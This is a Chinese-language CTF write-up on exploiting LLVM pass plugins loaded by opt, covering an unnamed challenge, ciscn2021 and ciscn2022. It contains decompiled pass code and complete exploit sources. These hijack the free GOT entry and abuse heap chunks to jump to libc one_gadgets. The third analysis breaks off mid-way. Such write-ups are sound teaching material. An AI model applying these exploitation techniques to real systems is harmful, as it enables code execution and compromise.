判断函数名称是否为o0o0o0o0,如果是的话执行sub_6AC0函数:

image-20220827002604175

该函数会遍历函数内部所有的basicblock,并将basicblock传递到sub_6B80函数,在sub_6B80函数中,程序会遍历basicblock中的每条指令,然后匹配指令名,根据结果以及指令参数情况来决定做什么操作:

__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *a2)
{
  llvm::Value *CalledFunction; // rax
  void **v3; // rax
  void **v4; // rax
  llvm::ConstantInt *v6; // [rsp+18h] [rbp-1B8h]
  __int64 v7; // [rsp+20h] [rbp-1B0h]
  __int64 v8; // [rsp+28h] [rbp-1A8h]
  llvm::ConstantInt *v9; // [rsp+30h] [rbp-1A0h]
  _QWORD *v10; // [rsp+38h] [rbp-198h]
  __int64 v11; // [rsp+40h] [rbp-190h]
  llvm::ConstantInt *v12; // [rsp+50h] [rbp-180h]
  __int64 v13; // [rsp+58h] [rbp-178h]
  __int64 v14; // [rsp+60h] [rbp-170h]
  llvm::ConstantInt *v15; // [rsp+68h] [rbp-168h]
  _QWORD *v16; // [rsp+70h] [rbp-160h]
  __int64 v17; // [rsp+78h] [rbp-158h]
  __int64 v18; // [rsp+A0h] [rbp-130h]
  llvm::ConstantInt *v19; // [rsp+A8h] [rbp-128h]
  void *v20; // [rsp+B0h] [rbp-120h]
  __int64 v21; // [rsp+B8h] [rbp-118h]
  __int64 v22; // [rsp+E0h] [rbp-F0h]
  llvm::ConstantInt *v23; // [rsp+E8h] [rbp-E8h]
  void *v24; // [rsp+F0h] [rbp-E0h]
  __int64 v25; // [rsp+F8h] [rbp-D8h]
  __int64 v26; // [rsp+110h] [rbp-C0h]
  llvm::ConstantInt *v27; // [rsp+118h] [rbp-B8h]
  _QWORD *v28; // [rsp+120h] [rbp-B0h]
  __int64 v29; // [rsp+128h] [rbp-A8h]
  __int64 ZExtValue; // [rsp+140h] [rbp-90h]
  llvm::ConstantInt *v31; // [rsp+148h] [rbp-88h]
  _QWORD *v32; // [rsp+150h] [rbp-80h]
  __int64 ArgOperand; // [rsp+158h] [rbp-78h]
  char *s1; // [rsp+168h] [rbp-68h]
  llvm::CallBase *v35; // [rsp+170h] [rbp-60h]
  llvm::Instruction *v36; // [rsp+180h] [rbp-50h]
  _QWORD *Name; // [rsp+1A8h] [rbp-28h]
  __int64 v38; // [rsp+1B8h] [rbp-18h] BYREF
  __int64 v39[2]; // [rsp+1C0h] [rbp-10h] BYREF

  v39[1] = __readfsqword(0x28u);
  v39[0] = llvm::BasicBlock::begin(a2);
  while ( 1 )                
  {
    v38 = llvm::BasicBlock::end(a2);
    if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
      break;
    v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
    if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )   //当该调IR指令对应opcode是55时,这里查看文档或者自己动态调试就可以发现是call
    {
      v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
      if ( v35 )
      {
        s1 = (char *)malloc(0x20uLL);
        CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
        Name = (_QWORD *)llvm::Value::getName(CalledFunction);
        *(_QWORD *)s1 = *Name;
        *((_QWORD *)s1 + 1) = Name[1];
        *((_QWORD *)s1 + 2) = Name[2];
        *((_QWORD *)s1 + 3) = Name[3];
        if ( !strcmp(s1, "pop") )                      //调用函数名称为pop
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ) //该函数有一个参数
          {
            ArgOperand = llvm::CallBase::getArgOperand(v35, 0);  //获取传递的第一个参数
            v32 = 0LL;
            v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
            if ( v31 )
            {
              ZExtValue = llvm::ConstantInt::getZExtValue(v31);  //获取第一个参数精确值
              if ( ZExtValue == 1 )
                v32 = off_20DFD0; 					//off_20DFD0存储第一个寄存器
              if ( ZExtValue == 2 )
                v32 = off_20DFC0;					//off_20DFC0存储第二个寄存器
            }
            if ( v32 )
            {
              v3 = off_20DFD8; 						//off_20DFD8存储sp寄存器
              *v32 = *(_QWORD *)*off_20DFD8;		//将sp指向内容赋给第一个或者第二个寄存器
              *v3 = (char *)*v3 - 8;				//sp-8
            }
          }
        }
        else if ( !strcmp(s1, "push") )				//与pop逻辑类似
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v29 = llvm::CallBase::getArgOperand(v35, 0);
            v28 = 0LL;
            v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
            if ( v27 )
            {
              v26 = llvm::ConstantInt::getZExtValue(v27);
              if ( v26 == 1 )
                v28 = off_20DFD0;
              if ( v26 == 2 )
                v28 = off_20DFC0;
            }
            if ( v28 )
            {
              v4 = off_20DFD8;
              *off_20DFD8 = (char *)*off_20DFD8 + 8;
              *(_QWORD *)*v4 = *v28;
            }
          }
        }
        else if ( !strcmp(s1, "store") )			//两个寄存器将各自地址存储到另一个寄存器里面
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v25 = llvm::CallBase::getArgOperand(v35, 0);
            v24 = 0LL;
            v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
            if ( v23 )
            {
              v22 = llvm::ConstantInt::getZExtValue(v23);
              if ( v22 == 1 )
                v24 = off_20DFD0;
              if ( v22 == 2 )
                v24 = off_20DFC0;
            }
            if ( v24 == off_20DFD0 )
            {
              **(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
            }
            else if ( v24 == off_20DFC0 )
            {
              **(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
            }
          }
        }
        else if ( !strcmp(s1, "load") )				//两个寄存器将各自存储的内容做为另一个寄存器的地址
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v21 = llvm::CallBase::getArgOperand(v35, 0);
            v20 = 0LL;
            v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
            if ( v19 )
            {
              v18 = llvm::ConstantInt::getZExtValue(v19);
              if ( v18 == 1 )
                v20 = off_20DFD0;
              if ( v18 == 2 )
                v20 = off_20DFC0;
            }
            if ( v20 == off_20DFD0 )
              *(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
            if ( v20 == off_20DFC0 )
              *(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
          }
        }
        else if ( !strcmp(s1, "add") )				//选一个寄存器加特定值
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
          {
            v17 = llvm::CallBase::getArgOperand(v35, 0);
            v16 = 0LL;
            v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
            if ( v15 )
            {
              v14 = llvm::ConstantInt::getZExtValue(v15);
              if ( v14 == 1 )
                v16 = off_20DFD0;
              if ( v14 == 2 )
                v16 = off_20DFC0;
            }
            if ( v16 )
            {
              v13 = llvm::CallBase::getArgOperand(v35, 1u);
              v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
              if ( v12 )
                *v16 += llvm::ConstantInt::getZExtValue(v12);
            }
          }
        }
        else if ( !strcmp(s1, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )		//选一个寄存器减特定值
        {
          v11 = llvm::CallBase::getArgOperand(v35, 0);
          v10 = 0LL;
          v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
          if ( v9 )
          {
            v8 = llvm::ConstantInt::getZExtValue(v9);
            if ( v8 == 1 )
              v10 = off_20DFD0;
            if ( v8 == 2 )
              v10 = off_20DFC0;
          }
          if ( v10 )
          {
            v7 = llvm::CallBase::getArgOperand(v35, 1u);
            v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
            if ( v6 )
              *v10 -= llvm::ConstantInt::getZExtValue(v6);
          }
        }
        free(s1);
      }
    }
    llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
      v39,
      0LL);
  }
  return 1LL;
}

现在逻辑理清晰了,漏洞点是在pass.so文件里面,但是我们pwn的是opt。我们检查一下opt的安全选项,只开了堆栈不可执行,没开piegot可写,所以我们考虑劫持got表。我们可以利用load和store对got进行读写,用add、min计算地址偏移。因为sub_6B80函数最后会free掉刚开始malloc的空间,所以这里我们选择free函数下手。

# exp.c
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
    add(1, 0x77e100);  //0x77e100是opt中free函数got表地址
    load(1);		   //加载free函数地址到寄存器	
    add(2, 0x72a9c);   //onegadget和free之间的偏移
    store(1);		   //修改free函数got表内容为onegadget
}

再续前缘——ciscn2021

打开附件,已经很熟悉了,我们直接把SAPass.so拖进IDA,发现扣了符号表,那和上面的方法一样,找到runOnFunction——sub_19D0,反编译以下,发现代码非常长而且很多报错信息和检查。参考上一题的经验,我们快速定位一些字符串匹配的地方,这些内容应该就是函数的主要逻辑:

__int64 __fastcall sub_19D0(__int64 a1, llvm::Value **a2)
{
    Name = (_QWORD *)llvm::Value::getName((llvm::Value *)a2);
    if (v3 == 8 && *Name == 0x72306F446B633442LL)
    {
        if (!(unsigned int)std::string::compare(&v89, "save"))
        {
            NumTotalBundleOperands = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
            v20 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
            if (-1431655765 * (unsigned int)((v15 + 24 * v18 - 24 * (unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2)
            {
                v32 = malloc(0x18uLL);
                v32[2] = byte_2040f8;
                byte_2040f8 = v32;
                v33 = (char *)src;
                memcpy(v32, src, v31);
                v34 = v32 + 1;
                v35 = (char *)v84[0];
                memcpy(v34, v84[0], (size_t)v84[1]);
            }
            if (!(unsigned int)std::string::compare(&v89, "takeaway"))
            {
                v39 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
                v40 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
                if (-1431655765 * (unsigned int)((v15 + 24 * v38 - 24 * (unsigned __int64)v39 - v40) >> 3) == 1)
                {
                    if (n)
                    {
                        v45 = byte_2040f8;
                        if (byte_2040f8)
                        {
                            v46 = *(_BYTE *)src;
                            if (*(_BYTE *)src && (v46 != *(_BYTE *)byte_2040f8 || (v47 = *((_BYTE *)src + 1)) != 0 && (v47 != *((_BYTE *)byte_2040f8 + 1) || (v48 = *((_BYTE *)src + 2)) != 0 && (v48 != *((_BYTE *)byte_2040f8 + 2) || (v49 = *((_BYTE *)src + 3)) != 0 && (v49 != *((_BYTE *)byte_2040f8 + 3) || (v50 = *((_BYTE *)src + 4)) != 0 && (v50 != *((_BYTE *)byte_2040f8 + 4) || (v51 = *((_BYTE *)src + 5)) != 0 && (v51 != *((_BYTE *)byte_2040f8 + 5) || (v52 = *((_BYTE *)src + 6)) != 0 && (v52 != *((_BYTE *)byte_2040f8 + 6) || (v53 = *((_BYTE *)src + 7)) != 0 && v53 != *((_BYTE *)byte_2040f8 + 7)))))))))
                            {
                                v54 = byte_2040f8[2];
                                if (!v54)
                                    goto LABEL_97;
                                v55 = byte_2040f8 + 2;
                                while (1)
                                {
                                    if (v46 == *(_BYTE *)v54)
                                    {
                                        v56 = *((_BYTE *)src + 1);
                                        if (!v56)
                                            break;
                                        if (v56 == *(_BYTE *)(v54 + 1))
                                        {
                                            v57 = *((_BYTE *)src + 2);
                                            if (!v57)
                                                break;
                                            if (v57 == *(_BYTE *)(v54 + 2))
                                            {
                                                v58 = *((_BYTE *)src + 3);
                                                if (!v58)
                                                    break;
                                                if (v58 == *(_BYTE *)(v54 + 3))
                                                {
                                                    v59 = *((_BYTE *)src + 4);
                                                    if (!v59)
                                                        break;
                                                    if (v59 == *(_BYTE *)(v54 + 4))
                                                    {
                                                        v60 = *((_BYTE *)src + 5);
                                                        if (!v60)
                                                            break;
                                                        if (v60 == *(_BYTE *)(v54 + 5))
                                                        {
                                                            v61 = *((_BYTE *)src + 6);
                                                            if (!v61)
                                                                break;
                                                            if (v61 == *(_BYTE *)(v54 + 6))
                                                            {
                                                                v62 = *((_BYTE *)src + 7);
                                                                if (!v62 || v62 == *(_BYTE *)(v54 + 7))
                                                                    break;
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    v55 = (_QWORD *)(v54 + 16);
                                    v54 = *(_QWORD *)(v54 + 16);
                                    if (!v54)
                                        goto LABEL_97;
                                }
                                *v55 = *(_QWORD *)(v54 + 16);
                                v45 = (_QWORD *)v54;
                            }
                            else
                            {
                                byte_2040f8 = (_QWORD *)byte_2040f8[2];
                            }
                            free(v45);
                        }
                    }
                }
            }
            if (!(unsigned int)std::string::compare(&v89, "stealkey"))
            {
                v66 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
                if (byte_2040f8 && !(-1431655765 * (unsigned int)((v15 + 24 * v65 - 24LL * v66 - (v8 - 24 * (unsigned __int64)(*(_DWORD *)(v8 + 20) & 0xFFFFFFF))) >> 3)))
                {
                    byte_204100 = *byte_2040f8;
                }
            }
            if (!(unsigned int)std::string::compare(&v89, "fakekey"))
            {
                v70 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
                if (byte_2040f8)
                {
                    v71 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
                    if (-1431655765 * (unsigned int)((v15 + 24 * v69 - 24 * (unsigned __int64)v70 - v71) >> 3) == 1)
                    {
                        v74 = v15 + 24 * v73 - 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
                        v75 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
                        if (!(-1431655765 * (unsigned int)((unsigned __int64)(v74 - v75) >> 3)))
                            goto LABEL_154;
                        if ((*(_DWORD *)(v8 + 20) & 0xFFFFFFF) == 0)
                            goto LABEL_153;
                        v76 = byte_204100;
                        if (*(_BYTE *)(*(_QWORD *)v75 + 16LL) == 13)
                            SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*(_QWORD *)v75 + 24LL));
                        else
                            SExtValue = 0LL;
                        byte_204100 = v76 + SExtValue;
                        *byte_2040f8 = v76 + SExtValue;
                    }
                }
            }
            if (!(unsigned int)std::string::compare(&v89, "run"))
            {
                if (!(-1431655765 * (unsigned int)((v15 + 24 * v80 - 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24)) - (v8 - 24 * (unsigned __int64)(*(_DWORD *)(v8 + 20) & 0xFFFFFFF))) >> 3)))
                    ((void(__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD)) * byte_2040f8)(
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL,
                        0LL);
            }
            return 0LL;
        }

改的人头疼……删掉的部分主要是一些参数校验,大致看+猜了以下是校验参数个数和参数类型的,这些内容我打算直接调试着试一试。然后现在除了takeaway这个part,其他的逻辑已经很清晰了。takeaway里面有一个大的if判断,但是这个if判断里面都是break,然而break对应的循环是外层的主循环,break相当于退出了,又因为程序一般是不易走到break并且我们也不希望走到break。所以我们再把break相关的逻辑部分删掉,然后再分析:

__int64 __fastcall sub_19D0(__int64 a1, llvm::Value **a2)
{
    Name = (_QWORD *)llvm::Value::getName((llvm::Value *)a2);
    if (v3 == 8 && *Name == 0x72306F446B633442LL)  //B4ckDo0r
    {
        if (!(unsigned int)std::string::compare(&v89, "save"))
        {
            NumTotalBundleOperands = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
            v20 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
            if (-1431655765 * (unsigned int)((v15 + 24 * v18 - 24 * (unsigned __int64)NumTotalBundleOperands - v20) >> 3) == 2) //save两个参数
            {
                v32 = malloc(0x18uLL);
                v32[2] = byte_2040f8;
                byte_2040f8 = v32;
                v33 = (char *)src;
                memcpy(v32, src, v31);
                v34 = v32 + 1;
                v35 = (char *)v84[0];
                memcpy(v34, v84[0], (size_t)v84[1]);
            }
            if (!(unsigned int)std::string::compare(&v89, "takeaway"))
            {
                v39 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
                v40 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
                if (-1431655765 * (unsigned int)((v15 + 24 * v38 - 24 * (unsigned __int64)v39 - v40) >> 3) == 1) //takeaway一个参数
                {
                    v45 = byte_2040f8;
                    byte_2040f8 = (_QWORD *)byte_2040f8[2];
                    free(v45);
                }
            }
        }
        if (!(unsigned int)std::string::compare(&v89, "stealkey"))
        {
            v66 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
            if (byte_2040f8 && !(-1431655765 * (unsigned int)((v15 + 24 * v65 - 24LL * v66 - (v8 - 24 * (unsigned __int64)(*(_DWORD *)(v8 + 20) & 0xFFFFFFF))) >> 3)))									//stealkey无参数
            {
                byte_204100 = *byte_2040f8;
            }
        }
        if (!(unsigned int)std::string::compare(&v89, "fakekey"))
        {
            v70 = llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
            if (byte_2040f8)
            {
                v71 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
                if (-1431655765 * (unsigned int)((v15 + 24 * v69 - 24 * (unsigned __int64)v70 - v71) >> 3) == 1)  //fakekey一个参数
                {
                    v74 = v15 + 24 * v73 - 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24));
                    v75 = v8 - 24LL * (*(_DWORD *)(v8 + 20) & 0xFFFFFFF);
                    if (!(-1431655765 * (unsigned int)((unsigned __int64)(v74 - v75) >> 3)))
                        goto LABEL_154;
                    if ((*(_DWORD *)(v8 + 20) & 0xFFFFFFF) == 0)
                        goto LABEL_153;
                    v76 = byte_204100;
                    if (*(_BYTE *)(*(_QWORD *)v75 + 16LL) == 13)
                        SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*(_QWORD *)v75 + 24LL));
                    else
                        SExtValue = 0LL;
                    byte_204100 = v76 + SExtValue;
                    *byte_2040f8 = v76 + SExtValue;
                }
            }
        }
        if (!(unsigned int)std::string::compare(&v89, "run"))            
        {
            if (!(-1431655765 * (unsigned int)((v15 + 24 * v80 - 24LL * (unsigned int)llvm::CallBase::getNumTotalBundleOperands((llvm::CallBase *)(v6 - 24)) - (v8 - 24 * (unsigned __int64)(*(_DWORD *)(v8 + 20) & 0xFFFFFFF))) >> 3)))              //run无参数
                ((void(__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD)) * byte_2040f8)(
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL,
                    0LL);
        }
        return 0LL;
    }

经过我们的尝试以及分析,可以知道各个函数的参数类型以及在解析中对应的功能:

  • save:申请0x18大小chunk,并将save的参数先后拷贝到chunk里面。申请的chunk是以byte_2040f8为头,按照循环链表组织起来的。每一个chunk前0x10为data域,0x10~0x18是ptr域。
  • takeaway:取走链表头chunk,并释放
  • fakekey:链表头chunkdata域加上特定值
  • stealkey:取出链表头chunkdata域,存到byte_204100
  • run:执行链表头chunkdata

我们最后肯定是利用run执行one_gadget,one_gadget要么是传递进去的,要么是依靠现有地址计算出来的。这里肯定是依靠现有地址计算出来的,所以我们要让申请出来的chunkdata域是libc地址,很自然想到从unsortedbin申请出来,然后save传递的参数是"\x00"。我们先什么都不干,看一下堆分配情况。

//test.c
void save(char* a, char* b);
void B4ckDo0r(){
	save("fuck", "you");
}

image-20220827234637052

image-20220827234653064

有5个0x20大小的tcache,也有unsortedbin,所以我们只需要先将这5个tcache申请出来,就可以切割unsortedbin了:

//test.c
void save(char* a, char* b);
void B4ckDo0r(){
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
}

然后我发现我把save的两个参数换成"\x00"的话就只有3个tcache了……

image-20220827234957571

我们用第四个save成功malloc到带libc地址的内存:

image-20220827235316577

那我们就可以计算libc偏移了,然后用fakekey加上,再run

//test.c
void save(char* a, char* b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
    stealkey();
    fakekey(-0x39d0fb);
    /*
    -0x39d0fb
    -0x39d09e
    -0x307051
    -0x306ea9
    -0x306ea2
    -0x306e9e
    -0x306e63
    -0x2e20a4
    -0x2e2098
    */
    run();
}

但是跑起来以后发现它tcache个数又变了。。。于是又在调试和修改中,修改了亿下:

//test.c
void save(char* a, char* b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
    stealkey();
    fakekey(-0x39d0fb);
    /*
    -0x39d0fb
    -0x39d09e
    -0x307051
    -0x306ea9
    -0x306ea2
    -0x306e9e
    -0x306e63
    -0x2e20a4
    -0x2e2098
    */
    run();
}

fakekey修改成功:

image-20220828002345184

然后就是看哪一个one_gadget可以执行……

image-20220828002625072

//exp.c
void save(char* a, char* b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
	save("\x00", "\x00");
    stealkey();
    fakekey(-0x39d09e);
    /*
    -0x39d0fb
    -0x39d09e
    -0x307051
    -0x306ea9
    -0x306ea2
    -0x306e9e
    -0x306e63
    -0x2e20a4
    -0x2e2098
    */
    run();
}

梅开三度——ciscn2022

没扣符号表?!那直接怼到runOnFunction函数脸上:

__int64 __fastcall `anonymous namespace'::MBAPass::runOnFunction(void **this, llvm::Function *a2)
{
  llvm::Function *v2; // rdi
  __int64 v3; // rax
  __int64 Context; // rax
  __int64 Int64Ty; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  llvm::Value *Add; // rax
  __int64 EntryBlock; // [rsp+0h] [rbp-180h]
  llvm::Value *Arg; // [rsp+10h] [rbp-170h]
  llvm::Value *v12; // [rsp+18h] [rbp-168h]
  llvm::Value *Mul; // [rsp+28h] [rbp-158h]
  llvm::Value *v14; // [rsp+30h] [rbp-150h]
  char v16[24]; // [rsp+50h] [rbp-130h] BYREF
  char v17[24]; // [rsp+68h] [rbp-118h] BYREF
  __int64 v18[2]; // [rsp+80h] [rbp-100h] BYREF
  char v19[136]; // [rsp+90h] [rbp-F0h] BYREF
  __int64 v20; // [rsp+118h] [rbp-68h]
  llvm::Instruction *v21; // [rsp+120h] [rbp-60h]
  __int64 v22[2]; // [rsp+128h] [rbp-58h] BYREF
  __int64 v23; // [rsp+138h] [rbp-48h] BYREF
  llvm::BasicBlock *v24; // [rsp+140h] [rbp-40h]
  __int64 v25; // [rsp+148h] [rbp-38h] BYREF
  __int64 v26[2]; // [rsp+150h] [rbp-30h] BYREF
  __int64 v27; // [rsp+160h] [rbp-20h]
  char v28; // [rsp+16Fh] [rbp-11h]
  llvm::Function *v29; // [rsp+170h] [rbp-10h]
  void **v30; // [rsp+178h] [rbp-8h]

  v30 = this;
  v29 = a2;
  v28 = 0;
  v2 = a2;
  if ( llvm::Function::arg_size(a2) != 1 || (v2 = v29, llvm::Function::size(v29) != 1) )
  {
    v3 = llvm::errs(v2);
    llvm::raw_ostream::operator<<(v3, "Function has more than one argument or basicblock\n");
    exit(-1);
  }
  this[5] = this[4];
  mprotect(this[4], 0x1000uLL, 3);
  `anonymous namespace'::MBAPass::handle((_anonymous_namespace_::MBAPass *)this, v29);
  mprotect(this[4], 0x1000uLL, 5);
  v27 = `anonymous namespace'::MBAPass::callCode((_anonymous_namespace_::MBAPass *)this);
  v26[1] = (__int64)v29;
  v26[0] = llvm::Function::begin(v29);
  v25 = llvm::Function::end(v29);
  while ( (llvm::operator!=(v26, &v25) & 1) != 0 )
  {
    v24 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v26);
    v23 = llvm::BasicBlock::begin(v24);
    v22[1] = llvm::BasicBlock::end(v24);
    while ( 1 )
    {
      v22[0] = llvm::BasicBlock::end(v24);
      if ( (llvm::operator!=(&v23, v22) & 1) == 0 )
        break;
      v21 = (llvm::Instruction *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v23);
      llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(&v23);
      v20 = llvm::Instruction::eraseFromParent(v21);
    }
    llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(v26);
  }
  EntryBlock = llvm::Function::getEntryBlock(v29);
  llvm::ArrayRef<llvm::OperandBundleDefT<llvm::Value *>>::ArrayRef(v18, 1LL);
  llvm::IRBuilder<llvm::ConstantFolder,llvm::IRBuilderDefaultInserter>::IRBuilder(v19, EntryBlock, 0LL, v18[0], v18[1]);
  Arg = (llvm::Value *)llvm::Function::getArg(v29, 0);
  Context = llvm::Function::getContext(v29);
  Int64Ty = llvm::Type::getInt64Ty(Context);
  v12 = (llvm::Value *)llvm::ConstantInt::get(Int64Ty, *((int *)this + 12), 0LL);
  llvm::Twine::Twine((llvm::Twine *)v17, "");
  Mul = (llvm::Value *)llvm::IRBuilderBase::CreateMul(
                         (llvm::IRBuilderBase *)v19,
                         Arg,
                         v12,
                         (const llvm::Twine *)v17,
                         0,
                         0);
  v6 = llvm::Function::getContext(v29);
  v7 = llvm::Type::getInt64Ty(v6);
  v14 = (llvm::Value *)llvm::ConstantInt::get(v7, v27, 0LL);
  llvm::Twine::Twine((llvm::Twine *)v16, "");
  Add = (llvm::Value *)llvm::IRBuilderBase::CreateAdd(
                         (llvm::IRBuilderBase *)v19,
                         Mul,
                         v14,
                         (const llvm::Twine *)v16,
                         0,
                         0);
  llvm::IRBuilderBase::CreateRet((llvm::IRBuilderBase *)v19, Add);
  v28 = 1;
  llvm::IRBuilder<llvm::ConstantFolder,llvm::IRBuilderDefaultInserter>::~IRBuilder(v19);
  return 1LL;
}

一眼下去,看得头皮发麻……但其实全部都是库函数反而不需要我们怎么关注,我们只需要关注上面最上面MBAPass类的相关方法,最上面甚至还有mprotect,引起我们的警觉,我们跟一下mprotect上下相关内容,Callcode这个方法名称也很令人怀疑,我们反编译看一下:

__int64 __fastcall `anonymous namespace'::MBAPass::callCode(
        __int64 (__fastcall **this)(_anonymous_namespace_::MBAPass *, __int64),
        __int64 a2)
{
  return this[4]((_anonymous_namespace_::MBAPass *)this, a2);
}

这里竟然执行了一个什么,我们非常怀疑是我们写的代码生成的IR,这里我们动态调试一下:

image-20220828011559534

这里确实是将我们的IR代码转换成了汇编语言执行,这不就是纯执行一个shellcode么,那我们只需要弄清楚把shellcode写到这里的限制,就可以pwn了。

经过几次尝试,发现他限制只能是addsub,其余貌似都不大行……所以这里只能手写IR码。我们又经过调试发现,它只能申请临时变量,也就是说它全程只有raxrbx两个寄存器可以用。这里就不能直接利用,既然生成的shellcode不能利用,那么我们看一下解析IR生成shellcode的地方能不能利用。

我们还是回到runOnFunction函数里面,看一下执行shellcode之前的操作:

  if ( llvm::Function::arg_size(a2) != 1 || (v2 = v29, llvm::Function::size(v29) != 1) )   //限制传进来的函数有0或1个参数,仅能有一个bbl
  {
    v3 = llvm::errs(v2);
    llvm::raw_ostream::operator<<(v3, "Function has more than one argument or basicblock\n");
    exit(-1);
  }
  this[5] = this[4];																	
  mprotect(this[4], 0x1000uLL, 3);														// 将this[4]改为rx权限
  `anonymous namespace'::MBAPass::handle((_anonymous_namespace_::MBAPass *)this, v29);   //解析传进来的ir代码,并将其转换为shellcode
  mprotect(this[4], 0x1000uLL, 5);														//将this[4]改为wx权限
  v27 = `anonymous namespace'::MBAPass::callCode((_anonymous_namespace_::MBAPass *)this);  //执行shellcode

我们很容易猜到或者发现是handle方法解析IR,生成shellcode。我们大致分析一下handle方法,主要关注以下内容:

v32 = this;
v31 = a2;
v30 = *((_QWORD *)this + 4) + 0xFF0LL;
v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
Operand = llvm::User::getOperand(Terminator, 0);
